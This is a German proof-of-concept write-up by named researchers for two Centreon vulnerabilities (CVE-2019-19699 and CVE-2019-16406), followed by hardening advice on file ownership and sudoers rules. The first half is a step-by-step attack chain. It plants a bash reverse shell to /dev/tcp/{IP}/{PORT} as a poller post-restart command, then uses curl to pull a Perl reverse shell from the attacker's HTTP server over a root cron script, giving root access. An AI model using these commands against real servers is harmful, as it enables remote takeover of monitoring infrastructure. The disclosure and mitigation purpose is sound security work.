
Centreon =<19.10 Authentifiziertes RCE
Beweis des Konzepts
Entdeckt von:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Authentifizierte Remote-Code-Ausführung:
Beginnen wir, indem wir uns als Benutzer Admin im Centreon-Webpanel anmelden.
Nach der Anmeldung navigieren wir zu Configuration > Commands > Miscellaneous
Klicken Sie auf Add, wie im Bild unten gezeigt.
Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl.
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
Und klicken Sie auf Save.
Nun navigieren wir zu Configuration > Pollers und klicken auf unseren aktuellen Central-Poller.
Dies gewährt Ihnen Zugriff auf das Menü Modify a poller Configuration.
Hier können wir nach unten scrollen und einen Post-restart command festlegen.
Wählen Sie die zuvor erstellte Reverse-Shell aus und klicken Sie auf Save.
Wir können nun den Netcat-Listener auf unserem lokalen Rechner starten.
Schließlich klicken wir im Menü Configuration > Pollers auf die Schaltfläche Export configuration.
Wählen Sie unseren Central-Poller im Dropdown-Feld Pollers aus.
Deaktivieren Sie die Kontrollkästchen Generate Configuration Files und Run monitoring engine debug (-v).
Aktivieren Sie die Kontrollkästchen Restart Monitoring Engine und Post generation command.
Wählen Sie Restart im Dropdown-Feld Method.
Nach dem Klick auf Export wird der Poller neu gestartet und somit der zuvor konfigurierte Post-Restart Command ausgeführt. Dies ist der Moment, in dem unser Reverse-Shell-Listener eine Verbindung erhält.
Authentifizierte Remote-Code-Ausführung erfolgreich!
(Dies war der Write-up für CVE-2019-19699)
Von hier aus bewegen wir uns zum Erlangen von Root-Rechten.
Wir verwenden CVE-2019-16406, entdeckt von TheCyberGeek, um den Centreon-Server =< 19.10 vollständig zu kompromittieren.
Beginnen wir damit, eine TTY-Shell in unserem aktuellen Reverse-Shell-Terminal zu spawnen.
python -c 'import pty; pty.spawn("/bin/sh")'
Wir werfen nun einen Blick darauf, welche Cron-Aufgaben existieren, indem wir cat /etc/cron.d/* ausführen.
Wir sehen nun, dass centreon_autodisc.pl eine Cron-Aufgabe ist.
(Wurde für Demonstrationszwecke von 30 22 * * * root auf * * * * * root gesetzt)
Diese wird als Root ausgeführt. Ersetzen wir centreon_autodisco.pl durch eine Perl-Reverse-Shell.
Die Perl-Shell, die ich verwenden werde, kann hier heruntergeladen werden.
Laden Sie die Reverse-Shell herunter und passen Sie die IP-Adresse und den Port auf Ihre an, wie auf der Webseite beschrieben.
Führen Sie ein mv aus, um die Datei perl-reverse-shell.pl lokal in centreon_autodisco.pl umzubenennen.
Starten wir nun einen lokalen SimpleHTTPServer auf einem Port Ihrer Wahl.
Auf diese Weise können wir curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl verwenden, um die vorhandene centreon_autodisco.pl durch unsere trojanische Perl-Reverse-Shell zu ersetzen.
Nun, da die Datei ersetzt wurde, müssen wir nur noch einen Netcat-Listener auf dem zuvor konfigurierten Port starten, und wir erhalten eine Verbindung vom Server als Benutzer Root!
Root-Systemzugriff erfolgreich!
Weiter zu den Notizen, wie wir denken, dass die Rechteausweitung gemildert werden sollte!
Aktuelle Einstellungen in 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Abhilfe für /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Wie Sie sehen, gehört es jetzt Root, die Gruppe apache kann es nur lesen und ausführen, centreon kann es nur ausführen, daher beeinträchtigt es die Funktionalität nicht.
Beispiel:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Aber apache kann es weiterhin ausführen.
Abhilfe für /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
Wie Sie sehen, gehört es jetzt Root, die Gruppe apache kann es nur lesen und ausführen, centreon kann es nur ausführen, daher beeinträchtigt es die Funktionalität nicht.
Beispiel:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Aber apache kann es weiterhin ausführen.
Abhilfe für /usr/lib/centreon/plugins/cwrapper_perl
Verwenden Sie sudo-Befehle, um spezifische Skripte zu definieren, die von jedem Benutzer ausgeführt werden müssen.
Lassen Sie root jedes Perl-Skript besitzen, damit Benutzer das Skript nicht ändern oder ersetzen können, um eine Rechteausweitung zu erreichen.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Benutzer können das Skript nun nicht mehr ändern oder ersetzen!
Beispiel:
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---Ende von Sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
Benutzer können die benötigten Skripte weiterhin ausführen, und die Skripte können nicht von apache oder centreon geändert werden, wodurch die Sicherheitsbedrohung für die Rechteausweitung vollständig beseitigt wird.
Wenn ein Angreifer jetzt in die Maschine eindringen würde, wäre die vollständige Kontrolle über die Maschine sehr schwierig oder unmöglich, es sei denn, es werden weitere Bedrohungen entdeckt.
Für den Centreon-Benutzer war die einzige Rechteausweitung, die wir finden konnten, der cwrapper für perl. Wenn also der Post-Restart-Befehl vom centreon-Benutzer ausgeführt wurde und ein Angreifer eine Shell als centreon-Benutzer erlangte, bliebe praktisch keine Angriffsfläche mehr übrig.
Danke fürs Lesen